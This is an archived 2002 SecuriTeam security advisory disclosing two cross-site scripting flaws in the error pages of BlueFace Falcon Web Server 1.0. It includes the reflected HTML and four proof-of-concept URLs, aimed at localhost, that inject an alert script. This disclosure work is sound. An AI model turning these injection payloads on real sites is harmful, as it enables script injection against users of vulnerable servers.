

[NT] Cross-Site Scripting Issues in Falcon Web Server

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0029.html>

From: support@securiteam.com

Date: 08/10/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sat, 10 Aug 2002 22:29:54 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Cross-Site Scripting Issues in Falcon Web Server

SUMMARY

Falcon Web Server is running under Windows NT/2000/XP as well as Windows 95/98. It supports ISAPI and WinCGI, and it is a fully functional web server that is capable of running a small / medium scale website of about 50-80 hits per minute. The real advantage of Falcon Web Server is the ability to run on a desktop computer with almost the same functionality as large-scale web servers like MS IIS and Apache. A lack of input sanitation in the error message output of this server makes it susceptible to two cross-site scripting vulnerabilities.

DETAILS

Vulnerable systems:

- * BlueFace Falcon Web Server 1.0
- * BlueFace Falcon Web Server 1.0.01008

Technical details:

The following two issues exist:

- * An issue in the way the server handles 301 messages when a file is not found, and the request is not terminated by a slash. Falcon simply adds a

Securiteam: [NT] Cross-Site Scripting Issues in Falcon Web Server

slash to the requested URI, and sends back a 301 with the following entity:

```
<html><head><title></SCRIPT>alert("xss")</SCRIPT></title></head><body>Redirecting browser to  
<ahref="/<SCRIPT>alert("xss")</SCRIPT>"/></SCRIPT>alert("xss")</SCRIPT></a><br>If nothing  
happens click the link above.</body></html>
```

* An issue in the way the server handles 404 messages when a file/folder is not found, and the necessary slash has been added (entity below):

```
<html><head><title>HTTP/1.0 404 Not  
Found</title></head><body><h1></SCRIPT>alert("xss")</SCRIPT>/index.html  
Not Found</h1><p>Cannot locate the requested file.</body></html>
```

Examples:

* 301 Message XSS

Closing TITLE tag:

[http://localhost/%3c/title%3e%3cscript%3ealert\(%22xss%22\)%3c/script%3e](http://localhost/%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e)

Closing A HREF:

[http://localhost/%22%3cscript%3ealert\(%22xss%22\)%3c/script%3e](http://localhost/%22%3cscript%3ealert(%22xss%22)%3c/script%3e)

Closing A tag:

[http://localhost/%3c/a%3e%3cscript%3ealert\(%22xss%22\)%3c/script%3e](http://localhost/%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e)

* 404 Message XSS

[http://localhost/%3cscript%3ealert\(%22xss%22\)%3c/script%3e/](http://localhost/%3cscript%3ealert(%22xss%22)%3c/script%3e/)

The 301 examples will simply add a slash and pass it on to the browser, which then raises a 404, exploiting that vulnerability as well (although the 301 exploits will cause some useless HTML to be added on).

ADDITIONAL INFORMATION

The information has been provided by <mailto:mattmurphy@kc.rr.com>
Matthew Murphy.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

Securiteam: [NT] Cross-Site Scripting Issues in Falcon Web Server

loss of business profits or special damages.

- **Previous message:** support@securiteam.com: "[NT] Mozilla FTP View Cross-Site Scripting Vulnerability"
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)